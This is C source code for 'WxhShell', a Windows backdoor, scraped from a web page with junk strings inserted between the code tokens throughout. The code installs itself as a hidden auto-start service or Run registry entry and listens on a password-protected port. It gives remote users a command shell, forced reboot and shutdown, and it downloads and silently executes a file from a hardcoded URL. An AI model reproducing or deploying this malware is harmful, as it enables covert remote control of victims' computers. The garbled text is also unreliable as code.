,"EnumProcessModules"); db~^Gqv6k g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5>I-? Ki NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JcWp14~e 4d`YZNvZW/ if (!NtQueryInformationProcess) return 0; :ZM9lBY h uX*2Rs$s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4~,Z ' k if(!hProcess) return 0; d
#1Y^3n sSh{.XuB+3 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sqrLys_S l::q
F 0 CloseHandle(hProcess); R3~,&ab B:Ts_9* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J-hJqR*;K if(hProcess==NULL) return 0; Jqj!k*=/ g%&E~V/g$ HMODULE hMod; >E>yA d char procName[255]; HEBeJ2w unsigned long cbNeeded; 8cG?p @j^R+F if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z1eT>6|]r rZKfb}ANQ CloseHandle(hProcess); wAKHD*M) /~Y\KOH| if(strstr(procName,"services")) return 1; // 以服务启动 r,Uk)xa/^ O;H6`JQ return 0; // 注册表启动 j{%;n40$ } _K o#36.S V4+|D2 // 主模块 #RBrii-, int StartWxhshell(LPSTR lpCmdLine) v>_@D@pr { ;=y"Z^ SOCKET wsl; :j]1wp+ BOOL val=TRUE; C(ij_> int port=0; E`.xu>Yyj struct sockaddr_in door; s*k)h,\ j6GIB_ if(wscfg.ws_autoins) Install(); a_RY Yj riDb!oC port=atoi(lpCmdLine); )A\
ZS<@Z7 wXKtQ#o} if(port<=0) port=wscfg.ws_port; hq
3n&/ Nap[=[rv WSADATA data; vN Bg&m if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |NuMDVd+s ~[HzGm% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C|V7ZL>W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;Z]Wj9iY door.sin_family = AF_INET; ij
?7MP door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'XK 'T\m door.sin_port = htons(port); yp#!$+a} 3YHEH\60^ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { suY47DCX) closesocket(wsl); ye(b 7CX return 1; jr=9.=jI8k } &DLWlMGq wXIRn?z if(listen(wsl,2) == INVALID_SOCKET) { B*Tn@t W closesocket(wsl); )[ V8YiyU return 1; Fw 0m(7 } 50cVS)hG6d Wxhshell(wsl); '^UHY[mX8 WSACleanup(); 0k
(- P8eCaZg?(3 return 0; C[L 5H NoiB98g } EhxpMTS }u_D{ bz // 以NT服务方式启动 `HX:U3/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dua F?\vv { rfqwxr45h DWORD status = 0; L7$f01* DWORD specificError = 0xfffffff; g-eJan&]N 5W&L6.J}+ serviceStatus.dwServiceType = SERVICE_WIN32; j%6p:wDl serviceStatus.dwCurrentState = SERVICE_START_PENDING; D0Dz@25- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
@ap!3o8,9 serviceStatus.dwWin32ExitCode = 0; dKzG,/1W[m serviceStatus.dwServiceSpecificExitCode = 0; M~A#_%2U serviceStatus.dwCheckPoint = 0; S%iK); serviceStatus.dwWaitHint = 0; M+ +Dk7B EtcT:k?y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ciblj?"Wi if (hServiceStatusHandle==0) return; |p:4s"NT bf_
>?F^ status = GetLastError(); t%:7W[_s if (status!=NO_ERROR) P T;{U<5 { 3"h*L8No serviceStatus.dwCurrentState = SERVICE_STOPPED; ~<[+!&<U serviceStatus.dwCheckPoint = 0; =-r"@2HBq serviceStatus.dwWaitHint = 0; 0Y8gUpe3P6 serviceStatus.dwWin32ExitCode = status; $gl|^c\ serviceStatus.dwServiceSpecificExitCode = specificError; zG9FO/@av SetServiceStatus(hServiceStatusHandle, &serviceStatus); cXq9k!I% return; L^JU{\C } QLJ\> ]64Pk9z= serviceStatus.dwCurrentState = SERVICE_RUNNING; tx09B)0 serviceStatus.dwCheckPoint = 0; ji/`OS-iq serviceStatus.dwWaitHint = 0; }F>RIjj if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v3DK0 MW } 2u]G]:ml Wd'}YbC // 处理NT服务事件,比如:启动、停止 vFUp$[ VOID WINAPI NTServiceHandler(DWORD fdwControl) evyjHc Cx { RN`TUCQL switch(fdwControl) :Qa*-)rs { \rr"EAk] case SERVICE_CONTROL_STOP:
Va?]:Q serviceStatus.dwWin32ExitCode = 0; jwI2T$ serviceStatus.dwCurrentState = SERVICE_STOPPED; Q`k;E}x_- serviceStatus.dwCheckPoint = 0; &{Z+p(3Gj serviceStatus.dwWaitHint = 0; DGHSyB^+1 { c}@E@Y`@w SetServiceStatus(hServiceStatusHandle, &serviceStatus); I'5[8 } sX"L\v return; ntIR #fB
case SERVICE_CONTROL_PAUSE: /dCsZA serviceStatus.dwCurrentState = SERVICE_PAUSED; ~cm4e>o break; $n<1D -0!r case SERVICE_CONTROL_CONTINUE: -b!?9T?} serviceStatus.dwCurrentState = SERVICE_RUNNING; RvR.t"8 break; #N][-i case SERVICE_CONTROL_INTERROGATE: #6M |T+= break; 5Ew( 0K[ }; 6 wN*d 5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); /we]i1-9 } q]4h#?.-1v XJo.^<m // 标准应用程序主函数 KpGx<+0p int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ep8UWxB5 { |sGJum&= ,a>Dv@$Y // 获取操作系统版本 vv)q&,<c OsIsNt=GetOsVer(); ;pm/nu GetModuleFileName(NULL,ExeFile,MAX_PATH); N^QxqQ~
LuZlGm // 从命令行安装 !$NK7- if(strpbrk(lpCmdLine,"iI")) Install(); B2NIV7 H^'%$F?Ss // 下载执行文件 G ]h if(wscfg.ws_downexe) { Ry+?#P+ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @x1cV_s[ WinExec(wscfg.ws_filenam,SW_HIDE); ;L$-_Z } -7!L]BcZ. V?OTP&+J% if(!OsIsNt) { |M?s[}ll // 如果时win9x,隐藏进程并且设置为注册表启动 ,=e.QAF!" HideProc(); -3ePCAtXbe StartWxhshell(lpCmdLine); S:z|"u:+ } >$ZhhM/} J else Tv#d>ZSD if(StartFromService()) ZY<RNwu // 以服务方式启动 jTS8
qu StartServiceCtrlDispatcher(DispatchTable); k;cIEEdZD else iY>P7Uvvz // 普通方式启动 >)D=PvGlmp StartWxhshell(lpCmdLine); Ys.GBSlHG .-YE(}^ return 0; @KM?agtlbl } f
I%8@ : GJWGT`" 0=&S?J#! H`M|B<. =========================================== dw;<Q |[~S& zHKP$k8 C[fefV9g2 5BA:^4zr? g(zeOS]q} " yf*'=q ^W sgAyCB #include <stdio.h> </'n={+q #include <string.h> 0xZ^ f}@L #include <windows.h> ^P{y^@XI #include <winsock2.h> I:t?# )wl #include <winsvc.h> ^/2HH #include <urlmon.h> gdCit-3 H*G(`Zl} #pragma comment (lib, "Ws2_32.lib") }bRn&)e #pragma comment (lib, "urlmon.lib") ITl>HlS p9jC-&: #define MAX_USER 100 // 最大客户端连接数 (Q*x"G#4> #define BUF_SOCK 200 // sock buffer V0D&bN* #define KEY_BUFF 255 // 输入 buffer 8Vz!zYl @_t=0Rc #define REBOOT 0 // 重启 FI: H/e5[ #define SHUTDOWN 1 // 关机 Zrwd jv v= #define DEF_PORT 5000 // 监听端口 wdt2T8`I/ ?#a&eW #define REG_LEN 16 // 注册表键长度 &bq1n_ #define SVC_LEN 80 // NT服务名长度 i\;ZEM{ Y'000#+ // 从dll定义API :ek^M ( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y=sae typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lios1|5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ..Dm@m} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /&\V6=jA1 Pm#/j; // wxhshell配置信息 )a0l:jEOc struct WSCFG { ;HAvor=? int ws_port; // 监听端口 Q\zaa9P char ws_passstr[REG_LEN]; // 口令 %7-(c
int ws_autoins; // 安装标记, 1=yes 0=no ;ZuHv {= char ws_regname[REG_LEN]; // 注册表键名 xtCMK1#
x char ws_svcname[REG_LEN]; // 服务名 J;<dO7 j5 char ws_svcdisp[SVC_LEN]; // 服务显示名 fn/?I\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 s#<fj#S char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t{B@k[| int ws_downexe; // 下载执行标记, 1=yes 0=no dSKvs" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D?%[du:V char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B#hvw'} ?f9M59(l }; Ge({sy>X &0f/F:M // default Wxhshell configuration &u^]YE{ struct WSCFG wscfg={DEF_PORT, x~uDCbL "xuhuanlingzhe", 3=U#v< 1, >o13?-S%e "Wxhshell", ELV~
ayp5 "Wxhshell", 94O\M
RQ* "WxhShell Service", ae-tAA[1Y "Wrsky Windows CmdShell Service", b00$3,L "Please Input Your Password: ", y|+5R5}K 1, %}H
2 "http://www.wrsky.com/wxhshell.exe", (Z @dz "Wxhshell.exe" )H]L/n }; i._RMl5zg Fs~*-R$ // 消息定义模块 x>mI$K(6M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UrciCOQf char *msg_ws_prompt="\n\r? for help\n\r#>"; Bx\ o8k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ugXDnM[S% char *msg_ws_ext="\n\rExit."; OcWKK!A char *msg_ws_end="\n\rQuit."; \:s%;s51 char *msg_ws_boot="\n\rReboot..."; \z6UWZ char *msg_ws_poff="\n\rShutdown..."; d 4tL char *msg_ws_down="\n\rSave to "; !0? B=yA byE0Z vDM char *msg_ws_err="\n\rErr!"; LH}9&FfjU char *msg_ws_ok="\n\rOK!"; VJw7defc &n8Ja@Y] char ExeFile[MAX_PATH]; Fab]'#1q4 int nUser = 0; bBc<p{ HANDLE handles[MAX_USER]; *w.":\P] int OsIsNt; #hn #%ld~dgz- SERVICE_STATUS serviceStatus; C7R3W, SERVICE_STATUS_HANDLE hServiceStatusHandle; I6;6x yKrbGK*=_ // 函数声明 BI%~0Gj8 int Install(void); -1B. A int Uninstall(void); 6ERMn"[_w int DownloadFile(char *sURL, SOCKET wsh); 9[X'9*, int Boot(int flag); :qqG%RB void HideProc(void); 6q'Q?Uw^ int GetOsVer(void); 3
eF c int Wxhshell(SOCKET wsl); @=AQr4& void TalkWithClient(void *cs); Vb#a ,t int CmdShell(SOCKET sock); At<MY`ka int StartFromService(void); 'OTZ&;7{ int StartWxhshell(LPSTR lpCmdLine); ^Os }sJ*5S Qp[
Jw?a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p),*4@2< VOID WINAPI NTServiceHandler( DWORD fdwControl ); E0 VAhN3G\ u59l)8= // 数据结构和表定义 {R63n SERVICE_TABLE_ENTRY DispatchTable[] = ny+r>>3Td { mzM95yQ^Z {wscfg.ws_svcname, NTServiceMain}, ZZ{c {NULL, NULL} T#!% Uzz }; U5-8It2OR .]KC*2 // 自我安装 f^hJA Z int Install(void) z]hRc8g}d { ?mC'ZYQI char svExeFile[MAX_PATH]; kmTYRl
)j HKEY key; i)(G0/: strcpy(svExeFile,ExeFile); V.$tq urkuG4cY // 如果是win9x系统,修改注册表设为自启动 )lt1I\n*k if(!OsIsNt) { f{L;, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2`;XcY4A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1}c/l<d RegCloseKey(key); ~.G$0IJY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^{IZpT3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;u(*&vRqr^ RegCloseKey(key); T?[;ej: return 0; vOCaru?~h } mX.mX70|J } Xl2g Hh } 3'6 UvAXFH else { w[l#0ZZ rxMo7px@}I // 如果是NT以上系统,安装为系统服务 =$bF[3D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -le^ 5M7 if (schSCManager!=0) TlyBpG=p { Y~I>mc] SC_HANDLE schService = CreateService \hI?XnL# ( 'xai5X schSCManager, ,0AS&xs$ wscfg.ws_svcname, [S]q'c) wscfg.ws_svcdisp, 44~ReN}` SERVICE_ALL_ACCESS, ]smu~t0\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;xw9#.d#D SERVICE_AUTO_START, _~CJitR3 SERVICE_ERROR_NORMAL, z8S]FpM6 svExeFile, Z/: yYSq NULL, E Lq1 NULL, ;c]O *\/ NULL, k0PwAt)65 NULL, " v
wLj: NULL $ eL-fg ); 1TA!9cz0Z if (schService!=0) G8w @C { mYJ8O$ CloseServiceHandle(schService); uMGy-c CloseServiceHandle(schSCManager); jCtk3No strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2P`./1L strcat(svExeFile,wscfg.ws_svcname); BB3a8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rvf{u8W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D2D+S RegCloseKey(key); MD1X1,fk return 0; K\ B!tk } :O@n6%pSL } (JdheCq!x CloseServiceHandle(schSCManager); y_W?7S } @VOegf+N } ^J^~5q8 WwnBe"7M return 1; *]<= 04v]R } BHgs, N#-.[9! // 自我卸载 =bJ$>Djp int Uninstall(void) }D)eS |B { 3I}AA.h'00 HKEY key; $,r%@'= & 0)h.[O8@> if(!OsIsNt) { {U3jJ#K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \pK&gdw RegDeleteValue(key,wscfg.ws_regname); ?Q=(?yR0] RegCloseKey(key); am.d^' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;}S_ PnwC@ RegDeleteValue(key,wscfg.ws_regname); k
75 p RegCloseKey(key); HES$. a return 0; B/lIn'= } qgEzK } ?uTuO
} ph(LsPT- else { q0>9T `l?MmIJ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e'G3\h}# if (schSCManager!=0) I;_T_m4.q { \j)c?1*$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $$4flfx if (schService!=0) BIx*( { 8,+T[S if(DeleteService(schService)!=0) { |mWSS'7fI CloseServiceHandle(schService); j+AZ!$E CloseServiceHandle(schSCManager); W6EEC<$JL return 0; twldwuN } !}U3{L- CloseServiceHandle(schService); x7l}u`N4 } 6OC4?#96%' CloseServiceHandle(schSCManager); sP@XV/`3L6 } 8aRmHy"9l } }mZCQJ#` ^_G#JJ\@$ return 1; &"tQpw5 } ny^uNIRPR q |Pebe= // 从指定url下载文件 =w _T{V int DownloadFile(char *sURL, SOCKET wsh) qa~ju\jm. { /#_[{lSr? HRESULT hr; l1 08.ao char seps[]= "/"; G&wYV[Ln char *token;
E)I&? <g char *file; d9e~><bPJ char myURL[MAX_PATH]; j/T@-7^0 char myFILE[MAX_PATH]; T=V{3v@zs $[cB6 strcpy(myURL,sURL); UDcr5u eKn token=strtok(myURL,seps); IWN18aaL? while(token!=NULL) S$wC{7?f { 'i3-mZ/|8 file=token; O@HD' token=strtok(NULL,seps); w\Q(wH' } Oa@SyroF= mpDxJk! GetCurrentDirectory(MAX_PATH,myFILE); 8?EKF+.u| strcat(myFILE, "\\"); Te)%L*X strcat(myFILE, file); BgCEv"G5 send(wsh,myFILE,strlen(myFILE),0); ,T 3M send(wsh,"...",3,0); d*([!!i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ug gg!zA if(hr==S_OK) @{<^rLt return 0; 5 8U[IGs( else PDgZb return 1; O6-';H:I]L 9ucoQ@ } $V<fJpA $'*{&/@ // 系统电源模块 _Eq,udCso int Boot(int flag) 5|bfrc { ~U8#yo HANDLE hToken; 9K&YHg:1 TOKEN_PRIVILEGES tkp; )r*F.m{&: |N^8zo : if(OsIsNt) { ;uZq_^?:9& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %_5?/H@%3z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iY sQ:3s tkp.PrivilegeCount = 1; a{ByU% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +]H!q
W: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0H'G./8 if(flag==REBOOT) { !14v Ovj4{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cZ.p return 0; @v/Ae_q! } 0Y~5|OXJ else { 1Sns$t%b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3ox|Mz<aZX return 0; h:z$uG } daQJ{Cd,w } dt<P6pK- else { &)!N5Veb if(flag==REBOOT) { `v/p4/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7Z}T!HFMr return 0; KlwBoC/{K } Z y6kA\q else { V3
~&R:Z9e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YZ->ep} return 0; raP9rEs } FPE6H:' } #xq|/JWs YcSPU( return 1; `RE
K,^U } q(#,X~0 u~N'UD1x // win9x进程隐藏模块 #K>Ue>hx void HideProc(void) \/m-G:| { >8`;SEnv mLHl]xs4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %~Wr/TOt+ if ( hKernel != NULL ) !i{5mc\ { @GQtyl;q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ICWHEot ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IJZx$8&A FreeLibrary(hKernel); `7V'A } ^NxKA'oWQ fzjtaH? return; 7zNfq.Ni~ } r8_MIGM' l>7?B2^<E // 获取操作系统版本 P$/Y9o
int GetOsVer(void) \&v)#w { "t>H
B6^ OSVERSIONINFO winfo; +5Y;JL<%/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >+[{m<Eq GetVersionEx(&winfo); ge{%B~x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $cO-+Mr-~ return 1; Gx%f&H~Z^ else ch/DBu return 0; O3p<7`K<4 } 8(-N;<Ef2 H ;HFen| // 客户端句柄模块 zK: 2.4 int Wxhshell(SOCKET wsl) 6ZC~q=my { \%#luk@: SOCKET wsh; Oh7wyQiV struct sockaddr_in client; Gfle"_4m8 DWORD myID; !@)tkhP drB$q[Ak9 while(nUser<MAX_USER) (%]M a { ~#P` 7G int nSize=sizeof(client); cMAY8$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =A/$[POr if(wsh==INVALID_SOCKET) return 1; MnW"ksH ;'4Kg@/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }~ga86:n0 if(handles[nUser]==0) %cq8%RT closesocket(wsh); 5pxw[c53# else ~/Kqkhq+c nUser++; *nY$YwHB } S^SF!k= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B}d)e_uLj XiyL563gh return 0; ,LDdL } #4^D'r>pJ ~H626vT37 // 关闭 socket )dRBI)P void CloseIt(SOCKET wsh) KC-@2,c9V { };~I#X closesocket(wsh); YD;"_yH nUser--; v<]$,V] ExitThread(0); 9E } |
Fk9ME 8ao>]5Rs3 // 客户端请求句柄 ztaSIMZ void TalkWithClient(void *cs) ^ Mq8jw(2 { P)06<n1">Z %T~LK=m SOCKET wsh=(SOCKET)cs; +?C7(-U> char pwd[SVC_LEN]; 8wzQr2: char cmd[KEY_BUFF]; 5S%#3YHY2 char chr[1]; }vX/55 int i,j; n'<F'1SWv b5UIX Kim while (nUser < MAX_USER) { g;</ |Z pIvr*UzY if(wscfg.ws_passstr) { {9h`h08?z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RV6|sN[x> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @?[}\9dW //ZeroMemory(pwd,KEY_BUFF); |\h<!xR i=0; }H9V$~}@- while(i<SVC_LEN) { $7&t`E)qY WeS$$:ro // 设置超时 S(5&%}QFQ fd_set FdRead; f:/"OCig struct timeval TimeOut; @@+BPLl FD_ZERO(&FdRead); )9V8&, FD_SET(wsh,&FdRead); C,dRdEB> TimeOut.tv_sec=8; @t,Y<)U TimeOut.tv_usec=0; ?~rz'Pu~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ccy0!re if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pm'i4!mY<P U$6(@&P! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Te h ?P pwd=chr[0]; [kPF J f if(chr[0]==0xd || chr[0]==0xa) { kBJx`tjtp pwd=0;
)E=~
_`XO break; oJor
]QY K } JA6#qlylL i++; t;)`+K#1: } ,gn**E ~5wT|d // 如果是非法用户,关闭 socket @DCw(.k* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d?1[xv; } 9
IY1"j0O iVf8M$!m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9':MD0P/M send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #~;:i ;Qdw$NuW while(1) { Te&5IB- ~#9(Q ZeroMemory(cmd,KEY_BUFF); !l#n.Fx&3 6^hCW`jG // 自动支持客户端 telnet标准 ](sT,' j=0; \={A%pA;@{ while(j<KEY_BUFF) { 1<&nHFJ;[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U:O&FE cmd[j]=chr[0]; 0^zp*u if(chr[0]==0xa || chr[0]==0xd) { G}gmkp]z cmd[j]=0; H!uq5`j0K break; sWX\/Iyy2p } D=!5l4 j++; Wx F0LhM
} bWfT-Jewh 35fsr= // 下载文件 9i/VvW if(strstr(cmd,"http://")) { _J33u3v send(wsh,msg_ws_down,strlen(msg_ws_down),0); [5s4Jp$+ if(DownloadFile(cmd,wsh)) qZ DP- send(wsh,msg_ws_err,strlen(msg_ws_err),0); dp#'~[ j else Lsz)\yIPj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jnf@u } >r5s>A[YC else { ?UV!^w@L:0 g)Dg=3+> switch(cmd[0]) { Sv|jR r' *S{fyYyM // 帮助 eUm,=s case '?': { WxI_wRKx send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dI$M9; break; R}Z2rbt } |;(0] // 安装 6`sS8Ar&u case 'i': { |GnqfD if(Install()) {{ /-v3n send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1JSKK.LuJV else 8+OcM
;0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ''~#tK
f break; L&h90Az1W } /yO|Q{C}M8 // 卸载 \N"=qw^ t case 'r': { FW--|X]8 if(Uninstall()) qQx5n send(wsh,msg_ws_err,strlen(msg_ws_err),0); :x/L.Bz else n6s[q-td send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = s$UU15 break; xO2CgqEb } p}O[A` // 显示 wxhshell 所在路径 kxVR#: case 'p': { +LeM[XX char svExeFile[MAX_PATH]; x4nmDEpa strcpy(svExeFile,"\n\r"); 7\sR f/ strcat(svExeFile,ExeFile); $mq@g send(wsh,svExeFile,strlen(svExeFile),0); vK~tgZ& break; JN:EcVuy } e!JC5Al7 // 重启 c6Z\ecH9 case 'b': { m(?ZNtBQt send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {|ChwM\x if(Boot(REBOOT)) OVgx2_F send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4J6,_8`U else { %$H~ closesocket(wsh); ~AbTbQ3 ExitThread(0); 'SE?IE { } }Gg:y? break; K~ShV } {m2lVzK // 关机 mDJN)CX case 'd': { Xj(" send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [[;vZ if(Boot(SHUTDOWN)) ?wQaM3 |^: send(wsh,msg_ws_err,strlen(msg_ws_err),0); =`%"-A else { [W{WfJ-HwG closesocket(wsh); q]>m#yk
ExitThread(0);
( :ObxJ* } @#= ail break; ^J{tOxO=l } 1pT-PO3= // 获取shell iF1E 5{dH case 's': { "<5su5] CmdShell(wsh); -^+!:0'; closesocket(wsh); NT}r6V(Aju ExitThread(0); ~99DE78 break; :M'V**A( } tV5Uz&:b // 退出 I? o)X! case 'x': { ui$JQ _P send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b9gezXAcd CloseIt(wsh); g(Dr/D break; ^~Dmb2h } 5$w`m3>i( // 离开 leSR2os case 'q': { {D9m>B3"{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~KF>Jow?Y closesocket(wsh); BQTibd WSACleanup(); w;Jby exit(1); ;)nV break; zPKx: I3 } }g\1JSJ%H } drc]"6 k } A:-r2;xB quEP" // 提示信息 G^Q8B^Lg if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C_~hX G } X|iWnz+^ } V<%eWT)x7C 9;*-y$@ return; &>]c"?C* } ;5(ptXX1W 8vL2<VT; // shell模块句柄 /PuN+M int CmdShell(SOCKET sock) SlRQi: { cB ,l=/? STARTUPINFO si; vm
y?8E6+ ZeroMemory(&si,sizeof(si)); CMI V"- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sb;=YW
1< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wxx3']: PROCESS_INFORMATION ProcessInfo; _'"whZ)2 char cmdline[]="cmd"; zj9)vr`7 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /\0rRT return 0; $V0G[!4 } Bl"BmUn =KctAR; // 自身启动模式 ra4$/@3n int StartFromService(void) 7\?0d! { IW<nfg typedef struct {hmC=j { [_pw|BGp DWORD ExitStatus; MY]<^/Q DWORD PebBaseAddress; 6?C|pO DWORD AffinityMask; ?mCino DWORD BasePriority; X?8 EPCk ULONG UniqueProcessId; qij<XNZU"& ULONG InheritedFromUniqueProcessId; I\DH } PROCESS_BASIC_INFORMATION; XFiP8aX< &=-ZNWNo PROCNTQSIP NtQueryInformationProcess; qlJzXq{|` (WISf}[l; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z9B""ws static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bkvm-$/ ^-&BGQM HANDLE hProcess; PS=N]e7k' PROCESS_BASIC_INFORMATION pbi; 4|#@41\ B jrKRXS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UbnX%2TW if(NULL == hInst ) return 0; Hido[ 1YrIcovi- g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZVin+ z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +6$ |No NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ls928 |v6kZ0B< if (!NtQueryInformationProcess) return 0; 3m#/1=@o ^z%ShmM&LZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b,tf]Z- if(!hProcess) return 0; KDX1_r=Y P,}cH;w6Ck if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fUg<+|v* pp2,d`01[L CloseHandle(hProcess); RiPxz=kr !)1gGXRY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M:9
6QM~ if(hProcess==NULL) return 0; {%"n[DLps $q
